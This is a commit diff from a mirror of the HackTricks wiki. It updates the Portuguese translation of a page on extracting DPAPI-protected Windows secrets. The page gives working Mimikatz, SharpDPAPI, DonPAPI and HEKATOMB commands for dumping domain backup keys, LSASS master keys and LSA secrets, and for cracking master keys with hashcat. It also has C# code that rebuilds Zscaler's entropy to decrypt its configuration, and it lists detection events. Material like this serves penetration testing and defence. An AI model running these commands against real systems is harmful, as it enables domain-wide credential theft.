maride/hacktricks
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks.git synced 2025-10-10 18:36:50 +00:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['', 'src/windows-hardening/windows-local-privilege-escalatio

Browse Source
This commit is contained in:
Translator 2025-09-05 14:49:29 +00:00
parent dc153a2acf
commit 56221de265
1 changed files with 79 additions and 76 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

155
src/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md
View File

@ -4,35 +4,35 @@
## O que é DPAPI
## O que é o DPAPI
A Data Protection API (DPAPI) é utilizada principalmente dentro do sistema operacional Windows para a **criptografia simétrica de chaves privadas assimétricas**, aproveitando segredos de usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a criptografia para os desenvolvedores, permitindo que eles criptografem dados usando uma chave derivada dos segredos de logon do usuário ou, para criptografia do sistema, os segredos de autenticação do domínio do sistema, eliminando assim a necessidade de os desenvolvedores gerenciarem a proteção da chave de criptografia por conta própria.
The Data Protection API (DPAPI) é utilizada principalmente no sistema operacional Windows para a **encryptação simétrica de chaves privadas assimétricas**, aproveitando segredos do usuário ou do sistema como uma fonte significativa de entropia. Essa abordagem simplifica a encryptação para desenvolvedores, permitindo que eles encryptem dados usando uma chave derivada dos segredos de logon do usuário ou, para encryptação do sistema, dos segredos de autenticação do domínio, eliminando a necessidade de os desenvolvedores gerenciarem a proteção da chave de encryptação por conta própria.
A maneira mais comum de usar o DPAPI é através das funções **`CryptProtectData` e `CryptUnprotectData`**, que permitem que aplicativos criptografem e descriptografem dados de forma segura com a sessão do processo que está atualmente logado. Isso significa que os dados criptografados só podem ser descriptografados pelo mesmo usuário ou sistema que os criptografou.
A maneira mais comum de usar o DPAPI é através das funções **`CryptProtectData` e `CryptUnprotectData`**, que permitem que aplicações encryptem e decryptem dados de forma segura com a sessão do processo que está atualmente logado. Isso significa que os dados encryptados só podem ser decrypted pelo mesmo usuário ou sistema que os encrypted.
Além disso, essas funções também aceitam um **parâmetro `entropy`** que será usado durante a criptografia e descriptografia; portanto, para descriptografar algo criptografado usando esse parâmetro, você deve fornecer o mesmo valor de entropia que foi usado durante a criptografia.
Além disso, essas funções aceitam também um **`entropy` parameter** que será usado durante a encryptação e decryptação; portanto, para decryptar algo encryptado usando esse parâmetro, você deve fornecer o mesmo valor de entropy que foi usado durante a encryptação.
### Geração de chave dos usuários
### Geração da chave do usuário
O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base em suas credenciais. Essa chave é derivada da senha do usuário e de outros fatores, e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do hash HTLM do usuário**.
O DPAPI gera uma chave única (chamada **`pre-key`**) para cada usuário com base em suas credenciais. Essa chave é derivada da senha do usuário e de outros fatores e o algoritmo depende do tipo de usuário, mas acaba sendo um SHA1. Por exemplo, para usuários de domínio, **depende do NTLM hash do usuário**.
Isso é especialmente interessante porque, se um atacante conseguir obter o hash da senha do usuário, ele pode:
- **Descriptografar qualquer dado que foi criptografado usando DPAPI** com a chave desse usuário sem precisar contatar nenhuma API
- Tentar **quebrar a senha** offline tentando gerar a chave DPAPI válida
- **Decryptar qualquer dado que foi encryptado usando DPAPI** com a chave desse usuário sem precisar contatar qualquer API
- Tentar **crackear a senha** offline tentando gerar a chave DPAPI válida
Além disso, toda vez que algum dado é criptografado por um usuário usando DPAPI, uma nova **chave mestre** é gerada. Essa chave mestre é a que realmente é usada para criptografar dados. Cada chave mestre é fornecida com um **GUID** (Identificador Único Global) que a identifica.
Além disso, toda vez que alguns dados são encryptados por um usuário usando DPAPI, uma nova **master key** é gerada. Essa master key é a que realmente é usada para encryptar os dados. Cada master key é identificada por um **GUID** (Globally Unique Identifier).
As chaves mestres são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Identificador de Segurança desse usuário. A chave mestre é armazenada criptografada pela **`pre-key`** do usuário e também por uma **chave de backup de domínio** para recuperação (portanto, a mesma chave é armazenada criptografada 2 vezes por 2 senhas diferentes).
As master keys são armazenadas no diretório **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`**, onde `{SID}` é o Security Identifier desse usuário. A master key é armazenada encryptada pela **`pre-key`** do usuário e também por uma **domain backup key** para recuperação (então a mesma chave é armazenada encryptada 2 vezes por 2 caminhos diferentes).
Observe que a **chave de domínio usada para criptografar a chave mestre está nos controladores de domínio e nunca muda**, então, se um atacante tiver acesso ao controlador de domínio, ele pode recuperar a chave de backup de domínio e descriptografar as chaves mestres de todos os usuários no domínio.
Note que a **domain key usada para encryptar a master key está nos domain controllers e nunca muda**, então se um atacante tem acesso ao domain controller, ele pode recuperar a domain backup key e decryptar as master keys de todos os usuários do domínio.
Os blobs criptografados contêm o **GUID da chave mestre** que foi usada para criptografar os dados dentro de seus cabeçalhos.
Os blobs encryptados contém o **GUID da master key** que foi usada para encryptar os dados dentro dos seus headers.
> [!TIP]
> Blobs criptografados pelo DPAPI começam com **`01 00 00 00`**
> DPAPI encrypted blobs começam com **`01 00 00 00`**
Encontrar chaves mestres:
Encontrar master keys:
```bash
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
@ -41,40 +41,41 @@ Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}
```
Isto é como um conjunto de Chaves Mestras de um usuário se parecerá:
This is what a bunch of Master Keys of a user will looks like:
![](<../../images/image (1121).png>)
### Geração de chave de Máquina/Sistema
### Geração da chave Machine/System
Esta é a chave usada para a máquina criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que apenas o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos em todo o sistema.
Esta é a chave usada pela máquina para criptografar dados. É baseada no **DPAPI_SYSTEM LSA secret**, que é uma chave especial que somente o usuário SYSTEM pode acessar. Esta chave é usada para criptografar dados que precisam ser acessíveis pelo próprio sistema, como credenciais em nível de máquina ou segredos de todo o sistema.
Note que essas chaves **não têm um backup de domínio**, então são acessíveis apenas localmente:
Observe que essas chaves **não têm um domain backup** e, portanto, são acessíveis apenas localmente:
- **Mimikatz** pode acessá-la despejando segredos LSA usando o comando: `mimikatz lsadump::secrets`
- O segredo é armazenado dentro do registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
- **Mimikatz** pode acessá-la extraindo os LSA secrets usando o comando: `mimikatz lsadump::secrets`
- O segredo é armazenado no registro, então um administrador poderia **modificar as permissões DACL para acessá-lo**. O caminho do registro é: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
### Dados Protegidos pelo DPAPI
### Dados protegidos pelo DPAPI
Entre os dados pessoais protegidos pelo DPAPI estão:
- Credenciais do Windows
- Senhas e dados de preenchimento automático do Internet Explorer e Google Chrome
- Senhas de e-mail e contas FTP internas para aplicativos como Outlook e Windows Mail
- Senhas para pastas compartilhadas, recursos, redes sem fio e Windows Vault, incluindo chaves de criptografia
- Senhas para conexões de área de trabalho remota, .NET Passport e chaves privadas para vários propósitos de criptografia e autenticação
- Senhas de rede gerenciadas pelo Credential Manager e dados pessoais em aplicativos que usam CryptProtectData, como Skype, MSN messenger e mais
- Senhas do Internet Explorer e do Google Chrome e dados de auto-completação
- Senhas de contas de e-mail e de FTP interno para aplicações como Outlook e Windows Mail
- Senhas para pastas compartilhadas, recursos, redes wireless e Windows Vault, incluindo chaves de criptografia
- Senhas para conexões de remote desktop, .NET Passport e chaves privadas para vários fins de criptografia e autenticação
- Senhas de rede gerenciadas pelo Credential Manager e dados pessoais em aplicações que usam CryptProtectData, como Skype, MSN messenger, e mais
- Blobs criptografados dentro do registro
- ...
Os dados protegidos do sistema incluem:
- Senhas de Wifi
Dados protegidos pelo sistema incluem:
- Senhas de Wi-Fi
- Senhas de tarefas agendadas
- ...
### Opções de extração de chave mestra
### Master key extraction options
- Se o usuário tiver privilégios de administrador de domínio, ele pode acessar a **chave de backup de domínio** para descriptografar todas as chaves mestras de usuário no domínio:
- Se o usuário tiver privilégios de domain admin, ele pode acessar a **domain backup key** para descriptografar todas as master keys de usuário no domínio:
```bash
# Mimikatz
lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
@ -82,17 +83,17 @@ lsadump::backupkeys /system:<DOMAIN CONTROLLER> /export
# SharpDPAPI
SharpDPAPI.exe backupkey [/server:SERVER.domain] [/file:key.pvk]
```
- Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as chaves mestras do DPAPI de todos os usuários conectados e a chave do SYSTEM.
- Com privilégios de administrador local, é possível **acessar a memória do LSASS** para extrair as DPAPI master keys de todos os usuários conectados e a SYSTEM key.
```bash
# Mimikatz
mimikatz sekurlsa::dpapi
```
- Se o usuário tiver privilégios de administrador local, ele pode acessar o **DPAPI_SYSTEM LSA secret** para descriptografar as chaves mestras da máquina:
- Se o usuário tiver privilégios de administrador local, ele pode acessar o **DPAPI_SYSTEM LSA secret** para descriptografar as chaves mestres da máquina:
```bash
# Mimikatz
lsadump::secrets /system:DPAPI_SYSTEM /export
```
- Se a senha ou hash NTLM do usuário for conhecida, você pode **descriptografar as chaves mestras do usuário diretamente**:
- Se a senha ou o hash NTLM do usuário for conhecido, você pode **descriptografar as master keys do usuário diretamente**:
```bash
# Mimikatz
dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER_PLAINTEXT> /protected
@ -100,7 +101,7 @@ dpapi::masterkey /in:<C:\PATH\MASTERKEY_LOCATON> /sid:<USER_SID> /password:<USER
# SharpDPAPI
SharpDPAPI.exe masterkeys /password:PASSWORD
```
- Se você estiver dentro de uma sessão como o usuário, é possível pedir ao DC pela **chave de backup para descriptografar as chaves mestras usando RPC**. Se você for administrador local e o usuário estiver logado, você poderia **roubar o token da sessão dele** para isso:
- Se você estiver numa sessão como o usuário, é possível solicitar ao DC a **backup key to decrypt the master keys using RPC**. Se você for administrador local e o usuário estiver logado, você poderia **steal his session token** para isto:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -108,7 +109,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
## Lista de Cofres
## Listar Vault
```bash
# From cmd
vaultcmd /listcreds:"Windows Credentials" /all
@ -116,16 +117,16 @@ vaultcmd /listcreds:"Windows Credentials" /all
# From mimikatz
mimikatz vault::list
```
## Acessar Dados Criptografados pelo DPAPI
## Acessar DPAPI Encrypted Data
### Encontrar dados criptografados pelo DPAPI
### Encontrar dados criptografados por DPAPI
Os **arquivos protegidos** comuns dos usuários estão em:
Arquivos de usuários comuns **protegidos** estão em:
- `C:\Users\username\AppData\Roaming\Microsoft\Protect\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Credentials\*`
- `C:\Users\username\AppData\Roaming\Microsoft\Vault\*`
- Verifique também alterando `\Roaming\` para `\Local\` nos caminhos acima.
- Check also changing `\Roaming\` to `\Local\` in the above paths.
Exemplos de enumeração:
```bash
@ -134,7 +135,7 @@ dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
```
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar blobs criptografados pelo DPAPI no sistema de arquivos, registro e blobs B64:
[**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) pode encontrar DPAPI encrypted blobs no file system, registry e B64 blobs:
```bash
# Search blobs in the registry
search /type:registry [/path:HKLM] # Search complete registry by default
@ -149,11 +150,11 @@ search /type:file /path:C:\path\to\file
# Search a blob inside B64 encoded data
search /type:base64 [/base:<base64 string>]
```
Observe que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (do mesmo repositório) pode ser usado para descriptografar usando DPAPI dados sensíveis como cookies.
Observe que [**SharpChrome**](https://github.com/GhostPack/SharpDPAPI) (do mesmo repositório) pode ser usado para descriptografar, usando DPAPI, dados sensíveis como cookies.
### Chaves de acesso e dados
- **Use SharpDPAPI** para obter credenciais de arquivos criptografados pelo DPAPI da sessão atual:
- **Use SharpDPAPI** para obter credenciais de arquivos criptografados com DPAPI da sessão atual:
```bash
# Decrypt user data
## Note that 'triage' is like running credentials, vaults, rdg and certificates
@ -162,7 +163,7 @@ SharpDPAPI.exe [credentials|vaults|rdg|keepass|certificates|triage] /unprotect
# Decrypt machine data
SharpDPAPI.exe machinetriage
```
- **Obtenha informações de credenciais** como os dados criptografados e o guidMasterKey.
- **Obter informações das credenciais** como os dados criptografados e o guidMasterKey.
```bash
mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7
@ -172,9 +173,9 @@ guidMasterKey : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
pbData : b8f619[...snip...]b493fe
[..]
```
- **Acessar chaves mestras**:
- **Acessar masterkeys**:
Descriptografar uma chave mestra de um usuário solicitando a **chave de backup do domínio** usando RPC:
Descriptografar um masterkey de um usuário que solicita a **domain backup key** usando RPC:
```bash
# Mimikatz
dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID" /rpc
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
# SharpDPAPI
SharpDPAPI.exe masterkeys /rpc
```
A ferramenta **SharpDPAPI** também suporta esses argumentos para decriptação de masterkey (note como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada do domínio DPAPI...):
A ferramenta **SharpDPAPI** também suporta estes argumentos para descriptografia da masterkey (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto simples, ou `/pvk` para especificar um arquivo de chave privada de domínio DPAPI...):
```
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
@ -194,7 +195,7 @@ A ferramenta **SharpDPAPI** também suporta esses argumentos para decriptação
/server:SERVER - triage a remote server, assuming admin access
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
```
- **Descriptografar dados usando uma chave mestra**:
- **Descriptografar dados usando uma masterkey**:
```bash
# Mimikatz
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
@ -202,7 +203,7 @@ dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
# SharpDPAPI
SharpDPAPI.exe /target:<FILE/folder> /ntlm:<NTLM_HASH>
```
A ferramenta **SharpDPAPI** também suporta esses argumentos para a descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (note como é possível usar `/rpc` para obter a chave de backup dos domínios, `/password` para usar uma senha em texto simples, `/pvk` para especificar um arquivo de chave privada do domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...):
A ferramenta **SharpDPAPI** também suporta esses argumentos para descriptografia de `credentials|vaults|rdg|keepass|triage|blob|ps` (observe como é possível usar `/rpc` para obter a chave de backup do domínio, `/password` para usar uma senha em texto claro, `/pvk` para especificar um arquivo de chave privada de domínio DPAPI, `/unprotect` para usar a sessão do usuário atual...):
```
Decryption:
/unprotect - force use of CryptUnprotectData() for 'ps', 'rdg', or 'blob' commands
@ -230,11 +231,11 @@ dpapi::blob /in:C:\path\to\encrypted\file /unprotect
SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
```
---
### Manipulando Entropia Opcional ("Entropia de terceiros")
### Tratando Entropia Opcional ("Entropia de terceiros")
Alguns aplicativos passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor, o blob não pode ser descriptografado, mesmo que a chave mestra correta seja conhecida. Portanto, obter a entropia é essencial ao direcionar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN).
Algumas aplicações passam um valor adicional de **entropia** para `CryptProtectData`. Sem esse valor o blob não pode ser descriptografado, mesmo que a **masterkey** correta seja conhecida. Obter a entropia é, portanto, essencial ao visar credenciais protegidas dessa forma (por exemplo, Microsoft Outlook, alguns clientes VPN).
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo de usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional que seja fornecida. Executar o EntropyCapture em modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` gerará um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode ser posteriormente fornecida ao **SharpDPAPI** (`/entropy:`) ou **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) é uma DLL em modo usuário que intercepta as funções DPAPI dentro do processo alvo e registra de forma transparente qualquer entropia opcional fornecida. Executar EntropyCapture no modo **DLL-injection** contra processos como `outlook.exe` ou `vpnclient.exe` irá gerar um arquivo mapeando cada buffer de entropia para o processo chamador e o blob. A entropia capturada pode depois ser fornecida ao **SharpDPAPI** (`/entropy:`) ou ao **Mimikatz** (`/entropy:<file>`) para descriptografar os dados.
```powershell
# Inject EntropyCapture into the current user's Outlook
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
@ -244,7 +245,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
```
### Quebrando masterkeys offline (Hashcat & DPAPISnoop)
A Microsoft introduziu um formato de masterkey **contexto 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (dezembro de 2023) adicionou modos de hash **22100** (DPAPI masterkey v1 contexto), **22101** (contexto 1) e **22102** (contexto 3), permitindo a quebra acelerada por GPU de senhas de usuários diretamente do arquivo masterkey. Os atacantes podem, portanto, realizar ataques de lista de palavras ou força bruta sem interagir com o sistema alvo.
A Microsoft introduziu um formato de masterkey **context 3** a partir do Windows 10 v1607 (2016). `hashcat` v6.2.6 (December 2023) adicionou os hash-modes **22100** (DPAPI masterkey v1 context), **22101** (context 1) e **22102** (context 3), permitindo cracking acelerado por GPU de senhas de usuário diretamente do arquivo masterkey. Portanto, atacantes podem realizar ataques word-list ou brute-force sem interagir com o sistema alvo.
`DPAPISnoop` (2024) automatiza o processo:
```bash
@ -252,11 +253,11 @@ A Microsoft introduziu um formato de masterkey **contexto 3** a partir do Window
DPAPISnoop.exe masterkey-parse C:\Users\bob\AppData\Roaming\Microsoft\Protect\<sid> --mode hashcat --outfile bob.hc
hashcat -m 22102 bob.hc wordlist.txt -O -w4
```
A ferramenta também pode analisar blobs de Credenciais e Cofres, descriptografá-los com chaves quebradas e exportar senhas em texto claro.
A ferramenta também pode analisar blobs de Credential e Vault, decifrá-los com chaves quebradas e exportar senhas em texto claro.
### Acessar dados de outra máquina
No **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa ser capaz de acessar essa máquina e no exemplo a seguir supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
Em **SharpDPAPI e SharpChrome** você pode indicar a opção **`/server:HOST`** para acessar os dados de uma máquina remota. Claro que você precisa conseguir acessar essa máquina e, no exemplo a seguir, supõe-se que a **chave de criptografia de backup do domínio é conhecida**:
```bash
SharpDPAPI.exe triage /server:HOST /pvk:BASE64
SharpChrome cookies /server:HOST /pvk:BASE64
@ -265,47 +266,49 @@ SharpChrome cookies /server:HOST /pvk:BASE64
### HEKATOMB
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automatiza a extração de todos os usuários e computadores do diretório LDAP e a extração da chave de backup do controlador de domínio através de RPC. O script então resolverá todos os endereços IP dos computadores e realizará um smbclient em todos os computadores para recuperar todos os blobs DPAPI de todos os usuários e descriptografar tudo com a chave de backup do domínio.
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) é uma ferramenta que automatiza a extração de todos os usuários e computadores do diretório LDAP e a extração da chave de backup do domain controller via RPC. O script então resolverá o endereço IP de todos os computadores e executará um smbclient em todos os computadores para recuperar todos os blobs DPAPI de todos os usuários e descriptografar tudo com a chave de backup do domínio.
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
Com a lista de computadores extraída do LDAP, você pode encontrar toda sub-rede mesmo que não soubesse delas!
Com a lista de computadores extraída do LDAP você pode encontrar todas as sub-redes mesmo que não as conhecesse!
### DonPAPI 2.x (2024-05)
[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode despejar segredos protegidos por DPAPI automaticamente. A versão 2.x introduziu:
[**DonPAPI**](https://github.com/login-securite/DonPAPI) pode extrair segredos protegidos por DPAPI automaticamente. O lançamento 2.x introduziu:
* Coleta paralela de blobs de centenas de hosts
* Análise de **contexto 3** masterkeys e integração automática de cracking com Hashcat
* Suporte para cookies criptografados "App-Bound" do Chrome (veja a próxima seção)
* Um novo modo **`--snapshot`** para consultar repetidamente os endpoints e diferenciar blobs recém-criados
* Coleta paralela de blobs a partir de centenas de hosts
* Parsing de **context 3** masterkeys e integração automática com cracking via Hashcat
* Suporte para cookies criptografados do Chrome "App-Bound" (veja a próxima seção)
* Um novo modo **`--snapshot`** para sondar repetidamente endpoints e comparar blobs recém-criados
### DPAPISnoop
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser C# para arquivos de masterkey/credential/vault que pode gerar formatos Hashcat/JtR e opcionalmente invocar cracking automaticamente. Ele suporta totalmente os formatos de masterkey de máquina e usuário até o Windows 11 24H1.
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) é um parser em C# para arquivos masterkey/credential/vault que pode gerar formatos para Hashcat/JtR e opcionalmente invocar o cracking automaticamente. Suporta completamente os formatos de masterkey de máquina e usuário até o Windows 11 24H1.
## Detecções comuns
- Acesso a arquivos em `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` e outros diretórios relacionados ao DPAPI.
- Especialmente a partir de um compartilhamento de rede como **C$** ou **ADMIN$**.
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou despejar masterkeys.
- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com o acesso ao objeto **`BCKUPKEY`**.
- Evento **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Gerenciador de Credenciais)
- Uso de **Mimikatz**, **SharpDPAPI** ou ferramentas similares para acessar a memória do LSASS ou extrair masterkeys.
- Evento **4662**: *Uma operação foi realizada em um objeto* – pode ser correlacionado com acesso ao objeto **`BCKUPKEY`**.
- Eventos **4673/4674** quando um processo solicita *SeTrustedCredManAccessPrivilege* (Credential Manager)
---
### Vulnerabilidades de 2023-2025 e mudanças no ecossistema
### Vulnerabilidades e mudanças no ecossistema 2023-2025
* **CVE-2023-36004 – Spoofing de Canal Seguro do Windows DPAPI** (Novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia de masterkeys de usuário. Corrigido na atualização cumulativa de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente corrigidos.
* **Criptografia de cookie "App-Bound" do Chrome 127** (Julho de 2024) substituiu a proteção DPAPI apenas legada por uma chave adicional armazenada sob o **Gerenciador de Credenciais** do usuário. A descriptografia offline de cookies agora requer tanto a masterkey DPAPI quanto a **chave app-bound envolta em GCM**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra ao serem executados com o contexto do usuário.
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (novembro de 2023). Um atacante com acesso à rede poderia enganar um membro do domínio para recuperar uma chave de backup DPAPI maliciosa, permitindo a descriptografia dos masterkeys de usuários. Corrigido no cumulative update de novembro de 2023 – os administradores devem garantir que os DCs e estações de trabalho estejam totalmente atualizados.
* **Chrome 127 “App-Bound” cookie encryption** (julho de 2024) substituiu a proteção legada somente por DPAPI por uma chave adicional armazenada no **Credential Manager** do usuário. A descriptografia offline de cookies agora requer tanto o masterkey DPAPI quanto a **GCM-wrapped app-bound key**. SharpChrome v2.3 e DonPAPI 2.x são capazes de recuperar a chave extra quando executados com contexto de usuário.
### Estudo de Caso: Zscaler Client Connector – Entropia Personalizada Derivada do SID
Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo, `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (escopo da máquina)**, mas o fornecedor fornece **entropia personalizada** que é *calculada em tempo de execução* em vez de ser armazenada no disco.
### Estudo de caso: Zscaler Client Connector – Entropia personalizada derivada do SID
Zscaler Client Connector armazena vários arquivos de configuração em `C:\ProgramData\Zscaler` (por exemplo `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Cada arquivo é criptografado com **DPAPI (Machine scope)**, mas o fornecedor fornece **entropia personalizada** que é *calculada em tempo de execução* em vez de ser armazenada em disco.
A entropia é reconstruída a partir de dois elementos:
1. Um segredo codificado embutido dentro de `ZSACredentialProvider.dll`.
2. O **SID** da conta do Windows à qual a configuração pertence.
1. Um segredo hard-coded embutido em `ZSACredentialProvider.dll`.
2. O **SID** da conta Windows à qual a configuração pertence.
O algoritmo implementado pela DLL é equivalente a:
```csharp
@ -322,17 +325,17 @@ byte[] entropy = new byte[tmp.Length / 2];
for (int i = 0; i < entropy.Length; i++)
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
```
Porque o segredo está embutido em uma DLL que pode ser lida do disco, **qualquer atacante local com direitos de SYSTEM pode regenerar a entropia para qualquer SID** e descriptografar os blobs offline:
Porque o segredo está embutido em uma DLL que pode ser lida do disco, **qualquer atacante local com direitos SYSTEM pode regenerar a entropia para qualquer SID** e descriptografar os blobs offline:
```csharp
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
Console.WriteLine(Encoding.UTF8.GetString(clear));
```
A descriptografia produz a configuração JSON completa, incluindo cada **verificação de postura do dispositivo** e seu valor esperado – informações que são muito valiosas ao tentar contornar verificações do lado do cliente.
A decriptação revela a configuração JSON completa, incluindo cada **verificação de postura do dispositivo** e seu valor esperado — informação muito valiosa ao tentar bypasses do lado do cliente.
> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) estão protegidos com DPAPI **sem** entropia (`16` bytes zero). Portanto, podem ser descriptografados diretamente com `ProtectedData.Unprotect` uma vez que os privilégios do SYSTEM sejam obtidos.
> DICA: os outros artefatos criptografados (`*.mtt`, `*.mtp`, `*.mtc`, `*.ztc`) são protegidos com DPAPI **sem** entropia (`16` zero bytes). Eles podem, portanto, ser decifrados diretamente com `ProtectedData.Unprotect` assim que privilégios SYSTEM forem obtidos.
## Referências
## References
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)